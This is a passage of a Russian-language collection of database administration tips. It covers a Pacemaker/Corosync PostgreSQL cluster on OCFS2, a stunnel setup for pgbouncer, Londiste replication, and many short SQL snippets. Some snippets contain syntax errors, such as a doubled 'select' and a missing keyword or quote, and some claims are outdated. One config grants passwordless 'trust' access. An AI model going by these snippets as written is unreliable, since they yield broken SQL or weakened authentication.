-t <имя устройста stonith> -n Простейшие stonith ресурсы можно создать так. Ресурс-пустышка dummy - ничего не отключает: root# crm conf primitive sh-dummy stonith:null params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency sh-dummy SSH-stonith - пытается подключиться к сбойному узлу через SSH и запланировать выключение через службу at (должна быть установлена на всех узлах). root# apt install at root# crm conf primitive fence-ssh stonith:ssh params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency fence-ssh Имитируем сбой на узле node3: root# stonith -t ssh -p "node1 node2 node3" -T reset node3 Для тестирования может понадобится отключение STONITH (НЕ РЕКОМЕНДУЕТСЯ): root~# crm_attribute -n stonith-enabled -v false Очистить ошибки можно командой: root# stonith_admin --cleanup --history=node3 Стоит заметить что, в случае сбоя сети, кроме STONITH устройств, узел кластера может перезагрузить служба OCFS2. Если у какого-либо узла пропадёт связь с другими узлами, но он продолжит посылать heartbeat сообщения на кластерный диск, то через 30 секунд (значение sysctl kernel.panic = 30) этот узел будет перезагружен принудительно. Настройка PostgreSQL для работы под управлением Pacemaker/Corosync Для запуска PostgreSQL необходимо создать три ресурса:
  • Ресурс, который будет монтировать ФС, где расположена БД
  • Ресурс виртуального ip-адреса, по которому будут обращаться клиенты к СУБД
  • Ресурс, запускающий процессы СУБД PostgreSQL После необходимо настроить правила совместного расположения ресурсов и указать порядок запуска. В примере будет созданы ресурсы, обеспечивающие работу экземпляра СУБД. Ресурс, обеспечивающий монтирование ФС с БД Описание ресурса Pacemaker для ФС OCFS2 Ресурс fs-ocfs2 будет монтировать кластерную ФС OCFS2 в каталог /mnt/ocfs2clst на каждом узле. Монтирование будет производится по метке ФС. Том, где расположена БД, у меня имеет UUID метку ce92b1e7-30cb-4883-9a92-57c986f76acd (см. Создание ФС OCFS2). root~# mkdir -p /mnt/ocfs2clst # выполнить на каждом узле root@node1:~# crm conf crm(live/node1)configure# primitive fs-ocfs2 Filesystem \ params device="/dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd" \ directory="/mnt/ocfs2clst" \ fstype=ocfs2 options="rw,relatime,commit=5,coherency=buffered" \ op start timeout=60s interval=0 \ op stop timeout=60s interval=0 \ op monitor timeout=40 interval=20 Полный список параметров монтирования можно узнать на странице https://www.kernel.org/doc/html/latest/filesystems/ocfs2.html По-умолчанию, ресурс запускается только на одном узле, но так как у нас ФС кластерная, необходимо запустить ресурс на всех узлах. Это возможно с помощью клона ресурса: crm(live/node1)configure# clone fs-clone-ocfs2 fs-ocfs2 Проверяем конфигурацию и выходим: crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit После создания ресурса, ФС должна автоматически смонтироваться на всех узлах кластера. root@node1:~# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node3, node2 Правила размещения ресурса на узлах Если указан параметр symmetric-cluster=false, то для запуска ресурсов необходимо указать явные правила, где ресурсы могут запускаться. Указываем, что ресурс кластерной ФС должен запускаться на всех узлах кластера с равным приоритетом 1: root~# crm conf crm(live)configure# location loc-fs-ocfs2-1 fs-clone-ocfs2 1: node1 crm(live)configure# location loc-fs-ocfs2-2 fs-clone-ocfs2 1: node2 crm(live)configure# location loc-fs-ocfs2-3 fs-clone-ocfs2 1: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. Ресурс виртуального ip-адреса Создаём ресурс ip-pgclst виртуального ip-адреса 192.168.1.10. Именно этот ip-адрес будет использовать СУБД для приёма подключений. root~# crm conf crm(live)configure# primitive ip-pgclst IPaddr \ params ip=192.168.1.10 \ op monitor interval=10s Если в атрибутах кластера Pacemaker указан параметр symmetric-cluster=false, то аналогично ресурсу файловой системы создаём правила размещения. Ресурс ip-адреса будет располагаться совместно с СУБД. Если производительность узлов отличается, то можно указать разные приоритеты для запуска. Предположим, что node1 мощнее, чем node2, а node3 вообще исключим для работы СУБД: root~# crm conf crm(live)configure# location loc-ip-pgclst-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-pgclst-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-pgclst-3 ip-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. У меня в примере правила размещения не используются. Ресурс Pacemaker, запускающий процессы СУБД PostgreSQL Инициализация файлов кластера БД PostgreSQL Изменяем владельца и права доступа на каталог с БД: root# chown -R postgres:postgres /mnt/ocfs2clst root# chmod 750 /mnt/ocfs2clst Инициализируем файлы кластера БД PostgreSQL в каталоге /mnt/ocfs2clst/pg-data с включением контроля чётности страниц БД, а после запускаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/initdb -D /mnt/ocfs2clst/pg-data/ -A peer -k postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ start Настройка конфигурации PostgreSQL Подключаемся к СУБД через unix-сокет: root@node1:~# su - postgres postgres@node1:~$ psql Изменяем параметры БД для возможности работы под управлением Pacemaker: psql> alter system set logging_collector=on; psql> alter system lc_messages = 'C.UTF-8'; psql> alter system set listen_addresses='192.168.1.10'; Здесь я включил сборщик сообщений (logging collector), поменял язык сообщений на английский (при работе по Pacemaker, русские сообщения заменялись вопросами) и указал, что СУБД должна принимать соединения только на кластерном ip-адресе. Если потребуется в кластере Pacemaker запустить несколько экземпляров Postgresql, то необходимо разместить unix-сокет СУБД по отдельным каталогам, так как по-умолчанию все экземпляры будут создавать сокет в каталоге /tmp. psql> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-data'; Например, если бы у нас было две БД: СУБД 1, кластерный ip 192.168.1.21, каталог /mnt/ocfs2clst/pg-db1 СУБД 2, кластерный ip 192.168.1.22, каталог /mnt/ocfs2clst/pg-db2 то unix_socket_directories необходимо задать: psql db1> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db1'; psql db2> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db2; В дальнейшем для подключения через unix-сокет необходимо указать путь к нему (команду необходимо выполнять на том узле, где работает СУБД): postgres@node1:~$ psql -h /mnt/ocfs2clst/pg-data/ Редактируем файл /mnt/ocfs2clst/pg-data/pg_hba.conf, разрешаем подключение по сети с паролем: ... # IPv4 network connections host all all all md5 ... После внесения настроек, останавливаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ stop Создание ресурса СУБД PostgreSQL root~# crm configure crm(live/node1)configure# primitive db-pgclst pgsql \ params pgctl="/usr/lib/postgresql/13/bin/pg_ctl" \ psql="/usr/lib/postgresql/13/bin/psql" \ pgdba=postgres \ pglibs="/usr/lib/postgresql/13/lib" \ pgdata="/mnt/ocfs2clst/pg-data" \ socketdir="/mnt/ocfs2clst/pg-data" \ config="/mnt/ocfs2clst/pg-data/postgresql.conf" \ op start timeout=120s interval=0 \ op stop timeout=120s interval=0 \ op monitor timeout=30 interval=30 Значения параметра socketdir в описании ресурса Pacemaker должно совпадать с параметром unix_socket_directories в файле конфигурации PostgreSQL postgresql.conf/postgresql.auto.conf. Правила размещения ресурса на узлах Аналогично ресурсу ip-адреса, если в атрибутах указан параметр symmetric-cluster=false, то создаём правила размещения ресура: root~# crm conf crm(live)configure# location loc-db-pgclst-1 db-pgclst 100: node1 crm(live)configure# location loc-db-pgclst-2 db-pgclst 10: node2 crm(live)configure# location loc-db-pgclst-3 db-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно, тогда СУБД сможет запускаться на любом из узлов, при условии, что ресурсу ip-адреса так же разрешен запуск на всех узлах. У меня в примере правила размещения не используются. Правила, описывающие совместное расположение ресурсов Необходимо, чтобы виртуальный ip-адрес и экземпляра СУБД PostgreSQL располагались на одном узле, иначе СУБД не запустится. crm conf colocation <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответствующее правило: root~# crm conf crm(live/node1)configure# colocation col-ip-pgsql inf: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Правила, описывающие порядок запуска ресурсов Необходимо, чтобы ресурс виртуального ip-адреса и ресурс, монтирующий кластерную ФС OCFS2, запускались раньше ресурса СУБД PostgreSQL. crm conf order <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответсвующие правила: root~# crm conf crm(live/node1)configure# order ord-fs-pgsql Mandatory: fs-clone-ocfs2 db-pgclst crm(live/node1)configure# order ord-ip-pgsql Mandatory: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Проверка работы После настройки ресурсов проверяем, что все они запущены с помощью команды crm_mon: root@node1:~# crm_mon -nr1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Sat Jul 16 18:04:00 2022 * Last change: Sat Jul 16 10:52:30 2022 by root via cibadmin on node2 * 3 nodes configured * 8 resource instances configured Node List: * Node node1: online: * Resources: * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * sh-dummy (stonith:null): Started * Node node2: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * db-pgclst (ocf::heartbeat:pgsql): Started * ip-pgclst (ocf::heartbeat:IPaddr): Started * Node node3: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started Inactive Resources: * No inactive resources Из вывода видно, что СУБД запущена на узле node2. Подключимся к нему через ssh и создадим пользователя в Postgresql: user@pc:~$ ssh user@192.168.1.12 user@node2:~$ sudo su - postgres postgres@node2:~$ psql -h /mnt/ocfs2clst/pg-data/ postgres=# create role pguser login encrypted password 'пароль'; postgres=# \q Проверяем подключение к СУБД с клиента: user@pc:~$ psql -h 192.168.1.10 -U pguser postgres postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) С любого узла кластера перемещаем СУБД на другой узел: root@node1:~# crm_resource --move -r db-pgclst -H node1 или с помощью CRM Shell root@node1:~# crm resource move db-pgclst node1 Определяем где запущен ресурс: root@node1:~# crm_resource -W -r db-pgclst resource db-pgclst is running on: node1 Выполняем повторный запрос с клиента: postgres=> select count(*) from pg_settings; FATAL: terminating connection due to administrator command сервер неожиданно закрыл соединение Скорее всего сервер прекратил работу из-за сбоя до или в процессе выполнения запроса. Подключение к серверу потеряно. Попытка восстановления удачна. psql (14.1, сервер 13.7 (Debian 13.7-0+deb11u1)) postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) Как видно, при перемещении ресурса все соединения с СУБД закрылись, но повторный sql-запрос выполнился успешно. Команды перемещения ресуров crm_resource --move или crm resource move на самом делее создают в базе Pacemaker CIB запись: <rsc_location id="cli-prefer-db-pgclst" rsc="db-pgclst" role="Started" node="node1" score="INFINITY"/> Эта запись указывает в дальнейшем запускать ресурс db-pgclst на узле node1. Для того чтобы вернуть возможность запуска ресурса на любом из узлов достаточно выполнить одну из команд: root# crm_resource -r db-pgclst --clear root# crm resource clear db-pgclst Команды управления кластером Pacemaker root# crm_verify -L -V - проверка конфигурации Pacemaker root# crm_mon -rf - отслеживание статуса ресурсов root# crm_resource -W -r db-pgclst - определить расположение ресурса db-pgclst в кластере root# crm node standby - приостановить работу узла root# crm node online - возобновить работу узла root# crm resource status - посмотреть список ресурсов root# crm resource move db-pgclst node2 - мигрировать ресурс ip-pgclst на узел node2 root# crm resource clear db-pgclst - убрать привязку после переноса root# crm resource stop db-pgclst - остановить ресурс db-pgclst root# crm resource start db-pgclst - запустить работу ресурса db-pgclst root# crm resource cleanup db-pgclst или # crm_resource --resource db-pgclst --cleanup - сброс количества ошибок ресурса root# crm configure delete db-pgclst - удаление ресурса root# cibadmin --query > tmp.xml - создать дамп базы Pacemaker CIB
  •  
    ----* Добавление поддержки SSL в pgbouncer при помощи stunnel   Автор: umask  [комментарии]
     
    Для быстрого старта pgbouncer c поддержкой SSL можно использовать вот такой
    конфигурационный файл stunnel:
    
       ### stunnel config for ssl-before-pgbouncer
       
       ### Quick way to create stunnel.pem:
       ### cd /etc/stunnel
       ### openssl req -new -x509 -days 77777 -nodes -out stunnel.pem -keyout stunnel.pem
       ### openssl gendh 2048 >> stunnel.pem
       ### openssl x509 -subject -dates -fingerprint -in stunnel.pem
    
       cert = /etc/stunnel/stunnel.pem
       foreground = yes
       setgid = nobody
       setuid = nobody
       pid = /tmp/stunnel.pid
       compression = zlib
       ### use this level to prevent trashing logs
       #debug = 4
       
       [psqlssl]
       ### stunnel will listen here
       accept = 127.0.0.1:9933
       ### pgbouncer listen here
       connect = 127.0.0.1:5433
       protocol = pgsql
    
    Версия stunnel должна быть не ниже 4.27, так как только начиная с данной версии
    есть поддержка protocol = pgsql.
    
    Основная необходимость в SSL в моём случае - сжатие, а не шифрование. 
    
     
    ----* Установка Londiste, системы асинхронной мастер-слэйв репликации PostgreSQL (доп. ссылка 1)   Автор: Sergey Konoplev  [комментарии]
     
    Инструкция содержит подробное пошаговое описание процесса настройки репликации
    на основе Londiste, системы асинхронной мастер-слэйв репликации из пакета
    SkyTools от Skype.
    
    Допустим есть 2 сервера - host1 и host2. На host1 работает кластер с одной или
    несколькими базами, которые необходимо реплицировать на host2. Другими словами
    host1 будет мастером, а host2 слейвом.
    
    Прежде всего необходимо установить пакет SkyTools. Его исходники можно найти на
    официальном сайте проекта
    http://developer.skype.com/SkypeGarage/DbProjects/SkyTools или в wiki
    http://wiki.postgresql.org/wiki/Skytools . Там же найдёте всю документацию и
    ссылки на дополнительные материалы. Советую обращаться к ним если захотите
    узнать дополнительные подробности о вещах, которых я буду в данной статье
    касаться поверхностно.
    
    Итак, всё ПО необходимое для репликации установлено, но, прежде чем начать
    настройку, хочу рассказать о принципах работы Londiste в очень общих словах.
    
    Londiste базируется на механизме очередей PgQ, который тоже входит в пакет
    SkyTools. Информация об изменениях данных попадает в эти очереди из
    спец-триггеров, навешиваемых на реплицируемые таблицы. PgQ, в свою очередь,
    основывается на пакетной обработке и использует так называемый ticker, утилиту
    (демон), генерирующую события готовности пачек данных. Эти события слушает
    демон Londiste и по их наступлению переносит пачки с мастера на слейв.
    
    Репликация на базе Londiste может работать по схеме - один мастер на несколько
    слейвов. В связи с этим я буду делать пометки, различающие установку репликации
    первого слейва и последующих. Также я буду различать репликацию отдельной базы
    и кластера целиком.
    
    Описанный процесс не требует даунтайма.
    
    Замечание: В данном описании будут часто встречаются обобщения более узких
    ситуаций, которые не тестировались во всех возможных вариантах. Так что прежде
    чем внедрять её в продакшн, тщательно протестируйте ваш процесс. Если вы
    найдёте какую-нибудь ошибку или не рабочую ситуацию, буду благодарен если сообщите.
    
    
    1. Первым делом подготовим мастер-сервер
    
    1.1. Права на мастере
    
    В данном примере все утилиты будут работать под системным пользователем
    postgres. Операции с БД я доверю также пользователю postgres (который в базе).
    Но в реальности будет правильнее сделать отдельного пользователя для этих
    утилит, смотрите по вашей ситуации.
    
    Дадим пользователю postgres доверительный доступ (без пароля) к базам на мастере со слейва.
    
    /var/lib/postgres/8.4/data/pg_hba.conf:
    
       ...
       # TYPE DATABASE USER CIDR-ADDRESS METHOD
       # host2 IP
       host db1 postgres 192.168.10.2/32 trust
       .. .
    
    Если реплицируются конкретные базы, а не весь комплект, то добавьте такие
    записи для каждой из них. В случае же репликации всех БД достаточно одной
    записи, где в колонке DATABASE указываем all. Не забудьте сделать reload серверу.
    
    1.2. Настрока ticker-а
    
    Далее создадим файл конфигурации ticker-а.
    /etc/skytools/db1-ticker.ini:
    
       [pgqadm]
       job_name = db1-ticker
       db = dbname=db1
    
       # Задержка между запусками обслуживания (ротация очередей и т.п.) в секундах
       maint_delay = 600
    
       # Задержка между проверками наличия активности (новых пакетов данных) в секундах
       loop_delay = 0.1
       logfile = /var/log/skytools/%(job_name)s.log
       pidfile = /var/run/skytools/%(job_name)s.pid
    
    Создайте подобные конфигурации для каждой реплицируемой базы.
    
    1.3. Запускаем ticker
    
    Теперь необходимо инсталлировать служебный код (SQL) и запустить ticker как
    демона для каждой из баз. Делается это с помощью утилиты pgqadm.py следующими командами:
    
       python pgqadm.py /etc/skytools/db1-ticker.ini install
       python pgqadm.py /etc/skytools/db1-ticker.ini ticker -d
    
    Проверим, что в логах (/var/log/skytools/db1-tickers.log) всё нормально. На
    данном этапе там должны быть редкие записи (раз в минуту).
    
    
    2. Далее настроим слейв
    
    2.1. Убедимся что Londiste остановлен
    
       python londiste.py -s /etc/skytools/db1-londiste.ini
    
    Повторите для всех реплицируемых баз.
    
    2.2. Востанавливаем схему базы
    
    Замечание: В данном примере подразумевается что целевая система не содержит баз
    с такими же именами как у реплицируемых.
    
    Если реплицируются отдельные базы, то прежде всего необходимо создать
    пользователей, идентичных тем, которые работали с ними на мастере. Далее
    переносим схемы этих баз на слейв (повторяем для каждой):
    
       pg_dump -s -C -h host1 -U postgres db1 |
       psql -U postgres 1>db1-restore.stdout 2>db2-restore.stderr
    
    Если реплицируем все базы целиком, то достаточно один раз сделать так:
    
       pg_dumpall -s -h host1 -U postgres |
       psql -U postgres 1>all-restore.stdout 2>all-restore.stderr
    
    Убедимся, что в лог-файлах *-restore.stderr отсутствуют ошибки кроме "роль
    postgres уже существует" (ч.г. не могу понять для чего вообще pg_dumpall дампит
    эту роль).
    
    
    2.3. Создаём конфигурацию репликатора
    
    Для каждой из реплицируемых баз создадим конфигурационные файлы:
    /etc/skytools/db1-londiste.ini:
    
       [londiste]
       job_name = db1-londiste
    
       provider_db = dbname=db1 port=5432 host=host1
       subscriber_db = dbname=db1
    
       # Это будет использоваться в качестве SQL-идентификатора, т.ч. не используйте
       # точки и пробелы.
       # ВАЖНО! Если есть живая репликация на другой слейв, именуем очередь так-же
       pgq_queue_name = db1-londiste-queue
    
       logfile = /var/log/skytools/%(job_name)s.log
       pidfile = /var/run/skytools/%(job_name)s.pid
    
       log_size = 5242880
       log_count = 3
    
    2.4. Устанавливаем Londiste в базы на мастере и слейве
    
    Теперь необходимо установить служебный SQL для каждой из созданных в предыдущем
    пункте конфигураций.
    
    Устанавливаем код на стороне мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider install
    
    и подобным образом на стороне слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber install
    
    После этого пункта на мастере будут созданы очереди для репликации.
    
    
    2.5. Запускаем процессы Londiste
    
    Для каждой реплицируемой базы делаем:
    
       python londiste.py /etc/skytools/db1-londiste.ini replay -d
    
    Таким образом запустятся слушатели очередей репликации, но, т.к. мы ещё не
    указывали какие таблицы хотим реплицировать, они пока будут работать в холостую.
    
    Убедимся что в логах нет ошибок (/var/log/skytools/db1-londistes.log).
    
    2.6. Добавляем реплицируемые таблицы
    
    Для каждой конфигурации указываем что будем реплицировать с мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider add --all
    
    и что со слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber add --all
    
    В данном примере я использую спец-параметр --all, который означает все таблицы,
    но вместо него вы можете перечислить список конкретных таблиц, если не хотите
    реплицировать все.
    
    2.7. Добавляем реплицируемые последовательности (sequence)
    
    Так же для всех конфигураций.
    
    Для мастера:
    
       python londiste.py /etc/skytools/db1-londiste.ini provider add-seq --all
    
    Замечание: В версиях SkyTools до 2.1.9 включительно была обнаружена ошибка при
    добавлением последовательностей на мастере используя параметр --all, т.ч. если
    у вас такая версия используйте следующий хак:
    
        for seq in $(
        psql -t -A -U postgres toozla -c "\ds" |
        awk -F '|' '{ if ($1 != "pgq" && $1 != "londiste") { print $1"."$2 } }');
        do
        python londiste.py /etc/skytools/db1-londiste.ini provider add-seq $seq;
        done
    
    
    
    Для слейва:
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber add-seq --all
    
    Точно также как и с таблицами можно указать конкретные последовательности вместо --all.
    
    
    2.8. Проверка
    
    Итак, всё что надо сделано. Теперь Londiste запустит так называемый bulk copy
    процесс, который массово (с помощью COPY) зальёт присутствующие на момент
    добавления таблиц данные на слейв, а затем перейдёт в состояние обычной репликации.
    
    Мониторим логи на предмет ошибок:
    
       less /var/log/skytools/db1-londiste.log
    
    Если всё хорошо, смотрим состояние репликации. Данные уже синхронизированы для
    тех таблиц, где статус отображается как "ok".
    
       python londiste.py /etc/skytools/db1-londiste.ini subscriber tables
    
       Table State
       public.table1 ok
       public.table2 ok
       public.table3 in-copy
       public.table4 -
       public.table5 -
       public.table6 -
       ...
    
    Для удобства представляю следующий трюк с уведомление в почту об окончании
    первоначального копирования (мыло поменять на своё ;):
    
       (
       while [ $(
       python londiste.py /etc/skytools/db1-londiste.ini subscriber tables |
       tail -n+2 | awk '{print $2}' | grep -v ok | wc -l) -ne 0 ];
       do sleep 60; done; echo '' | mail -s 'Replication done EOM' user@domain.com
       ) &
    
    Ссылки на публикации, которые мне помогли в написании этой статьи:
    
       SkyTools - PostgreSQL Wiki http://wiki.postgresql.org/wiki/Skytools
       SkyTools - Skype Developer Zone https://developer.skype.com/SkypeGarage/DbProjects/SkyTools
       PostgreSQL master slave(s) asynchronous replication - tail -f /dev/dim http://tapoueh.org/skytools.html
    
     
    ----* Определение размеров объектов БД в PostgreSQL (доп. ссылка 1)   Автор: Konstantin A Mironov  [комментарии]
     
    Размер БД:
       select pg_database_size('имя базы');
    
    Размер таблицы БД:
       select select pg_relation_size('имя таблицы');
    
    Полный размер таблицы с индексами:
       select pg_total_relation_size('имя таблицы');
    
    Размер столбца:
       select pg_column_size('имя стобца') from 'имя таблицы';
    
    Состояние всех настроек:
       select pg_show_all_settings();
    
     
    ----* Решение проблем с наличием в MySQL записей с битой кодировкой   [обсудить]
     
    Способ перекодирования выборочных записей в MySQL, содержащих данные в битой кодировке.
    Перекодирование ошибочно добавленных нескольких записей с UTF-8 текстом 
    в таблицу в которой данные находятся в кодировке cp1251 (DEFAULT CHARSET cp1251).
    
    
    UPDATE table SET column=CONVERT(CONVERT(CONVERT(column USING binary) USING
    utf8) USING cp1251) WHERE id=123;
    
    Сокращенный вариант, внешний CONVERT можно убрать, MySQL знает, что данные в таблице в cp1251:
    
    UPDATE table SET column=CONVERT(CONVERT(column USING binary) USING utf8) WHERE id=123;
    
     
    ----* Как добиться, чтобы в запросах LIKE 'что%' использовался индекс ? (доп. ссылка 1)   Автор: Олег Бартунов  [комментарии]
     
    Из-за сложности и многообразия locale в постгресе запрещено использовать индекс
    для запросов вида LIKE 'что%' для всех locale кроме 'C'. А что делать если хочется ? 
    В 8.01 стало возможным использовать operator class [1] !  Мы будем использовать
    varchar_pattern_ops, B-tree индекс
    в этом случае, будет строиться без использования collation правил из locale, а
    на основе сравнения буквы с буквой.
    
       test=#  \d ru_words 
           w      | text | 
           Indexes:
              "w_idx" btree (lower(w) varchar_pattern_ops)
    
       test=# create index w_idx on ru_words (lower(w) varchar_pattern_ops);
          CREATE INDEX
    
       test=# vacuum analyze test;
    
       test=# explain analyze select w from ru_words where lower(w) like 'что%';
    
           Index Scan using w_idx on ru_words...
             Index Cond: ((lower(w) ~>=~ 'что'::character varying) AND (lower(w) ~<~ 'чтп'::character varying))
             Filter: (lower(w) ~~ 'что%'::text)
    
     
    ----* Функции для преобразования unix timestamp в Pg timestamp для PostgreSQL (доп. ссылка 1)   Автор: Олег Бартунов  [обсудить]
     
        SELECT TIMESTAMP WITH TIME ZONE 'epoch' + 1109796233 * INTERVAL '1 second';
    
    CREATE OR REPLACE FUNCTION ts2int(timestamp without time zone) RETURNS int AS
    $$
    select extract('epoch' from $1)::integer;
    $$ LANGUAGE SQL STRICT STABLE;
    
    CREATE OR REPLACE FUNCTION int2ts(integer) RETURNS timestamp AS
    $$
    SELECT ( TIMESTAMP WITH TIME ZONE 'epoch' + $1 * INTERVAL '1second')::timestamp without time zone;
    $$ LANGUAGE SQL STRICT STABLE;
    
     
    ----* Полнотекстовый поиск в PostgreSQL (Tsearch2) (доп. ссылка 1)   [комментарии]
     
      ALTER TABLE companies 
      ADD COLUMN fti_business tsvector;
    
      UPDATE companies SET fti_business = to_tsvector('default',business_model);
    
      VACUUM FULL ANALYZE companies;
    
      CREATE INDEX idx_fti_business ON companies USING gist(fti_business);
    
      CREATE TRIGGER tg_fti_companies 
      BEFORE UPDATE OR INSERT ON companies
      FOR EACH ROW EXECUTE PROCEDURE
        tsearch2(fti_business, business_model);
    
      SELECT company_name, business_model
      FROM companies
      WHERE fti_business @@
        to_tsquery('default','bushing | engine');
    
     
    ----* Как реализовать "COPY table TO stdout" на perl используя модуль Pg.   [обсудить]
     
    Для просмотра всего содержимого таблицы оптимальнее использовать COPY TO, вместо SELECT.
    $conn->exec('COPY table (in, out) TO stdout');
    die $conn->errorMessage if($conn->errorMessage);
    $conn->getline($cur_line, 512);
    while ($cur_line ne '\\.'){
          my ($in, $out) = split(/\t/, $cur_line);
          ....
          $conn->getline($cur_line, 512); 
    }
    $conn->endcopy;
    
     
    ----* Как реализовать "COPY table FROM stdin" на perl используя модуль Pg.   [обсудить]
     
    COPY FROM вместо INSERT позволяет значительно оптимизировать помещение данных в базу.
    $conn->exec('COPY traffic (src_ip, dst_ip, in_octets, out_octets) FROM stdin;');
    die $conn->errorMessage if($conn->errorMessage);
    while(...) { 
       $conn->putline("$src\t$dst\t$in\t$out\n");
    }
    $conn->putline("\\.\n");
    $conn->endcopy;
    
     
    ----* Как через SELECT запрос в PostgreSQL посмотреть структуру таблицы.   [обсудить]
     
    SELECT a.attname, format_type(a.atttypid, a.atttypmod), a.attnotnull, a.atthasdef, a.attnum 
      FROM pg_class c, pg_attribute a 
      WHERE c.relname ='имя таблицы' AND a.attnum > 0 AND a.attrelid = c.oid ORDER BY a.attnum; 
    
     
    ----* Как поменять или установить пароль для пользователя в PostgreSQL   [комментарии]
     
    ALTER USER имя_пользователя WITH ENCRYPTED PASSWORD 'пароль';
    В pg_hba.conf в качестве метода аутентификации должен использоваться md5.
    
     
    ----* Как выполнить в PostgreSQL запрос вида "pivot table" и использовать условие при выводе данных. (доп. ссылка 1)   [обсудить]
     
    Если значение поля vendor = 1,2 или 3 суммируем только значения sales для этих номеров.
    SELECT product,
      SUM(CASE vendor WHEN 1 THEN sales ELSE 0 END) AS "pink ",  
      SUM(CASE vendor WHEN 2 THEN sales ELSE 0 END) AS "brown",  
      SUM(CASE vendor WHEN 3 THEN sales ELSE 0 END) AS "green",
      SUM(sales) AS "sum of sales" 
          FROM sales GROUP BY product;
    Если необходимо сделать выборку по промежутку, то нужно использовать:
        CASE WHEN vendor > 1 AND vendor < 5 THEN sales ELSE 0 END
    
     
    ----* Как добавить комментарии к таблицам в PostgreSQL   [обсудить]
     
    COMMENT ON test IS 'Это тестовая таблица.';
    COMMENT ON DATABASE test IS 'Тестовая БД';
    COMMENT ON INDEX test_index IS 'Индекс тестовой базы по id';
    COMMENT ON COLUMN test.id IS 'Ключевое поле';
    
     
    ----* Как в Shell выполнить SQL запрос или получить список баз и таблиц (PostgreSQL)   [комментарии]
     
    Список баз:
        psql -A -q -t -c "select datname from pg_database" template1 | grep -v '^template1$'
    Список таблиц в базе db_name :
        echo '\d'| psql -A -q -t db_name |cut -d'|' -f1
    
     
    ----* Как включить автоматическую проверку значений в PostgreSQL   [обсудить]
     
    Для запрещения нулевых значений в поле id в CREATE TABLE:
       CONSTRAINT "test_tab_id" CHECK (id > 0)
    Или если таблица уже существует:
       ALTER TABLE test_tab ADD CONSTRAINT "test_tab_id" CHECK (id > 0);
    
     
    ----* Как посмотреть в PostgreSQL размер таблиц на диске и число записей в них   [обсудить]
     
    SELECT relname, relpages*8192, reltuples FROM pg_class
         WHERE NOT relname LIKE 'pg_%' ORDER BY relpages DESC;
    
     
    ----* Как сопоставить в PostgreSQL цифровые имена файлов и директорий с символьными именами таблиц и баз.   [обсудить]
     
    Сопоставление имен директорий с названиями баз:
       select oid,datname from pg_database;
    Сопоставление имен таблиц в текущей базе к именам файлов:
       select relname, relfilenode from pg_class;
    
     
    ----* Как получить уникальный системный номер записи в PostgreSQL   [обсудить]
     
    Поле с именем OID всегда содержит уникальный номер записи.
    select oid from table;
    
     
    ----* маленькая заметка к возрастающим ключам   Автор: Yuri A. Kabaenkov  [обсудить]
     
    в последних версиях pgsql существует тип данных serial
    которой автоматически создает последовательность.
    тоесть CREATE TABLE test (
         a serial
    );
    
     
    ----* Как осуществить автоматическую проверку новых данных в PostgreSQL   [обсудить]
     
    CREATE RULE table_id_update AS ON UPDATE TO table 
       WHERE OLD.id != NEW.id 
       DO INSTEAD NOTHING; 
    
     
    ----* Как организовать таблицу с подробной историей всех изменений в PostgreSQL   [комментарии]
     
    CREATE RULE table_update AS ON UPDATE TO table 
       DO INSERT INTO table_log ( 
          id, 
          titile, 
          contents, 
          pguser, 
          date_modified 
        ) 
        VALUES ( 
           OLD.id, 
           OLD.title, 
           OLD.description, 
           getpgusername(), 
           'now'::text 
       ); 
    
     
    ----* Преобразование дат (сек. с 1970 и timestamp) в PostgreSQL   [комментарии]
     
    Из еpoch в timestamp:
       'epoch'::timestamptz  + '$epoch_time sec'::interval
       или $epoch_time::int4::abstime::timestamptz
       или timestamptz 'epoch' + '$epoch_time second'
    
    Из timestamp в epoch:
       date_part('epoch', timestamp_field) 
    
     
    ----* Как создать индекс в PostgreSQL   [обсудить]
     
    Создадим индекс для двух полей login и price в таблице item. 
    При использовании операций больше или меньше нужно использовать btree индексы, 
    hash для операций '='. Несколько полей для индексирования можно указывать только 
    для btree.
    Например:
    CREATE UNIQUE INDEX "index_item" on "item" using btree ( "login" "varchar_ops",
    "price" "integer_ops");
    CREATE INDEX "index_item2" on "item" using hash ( "login" ); 
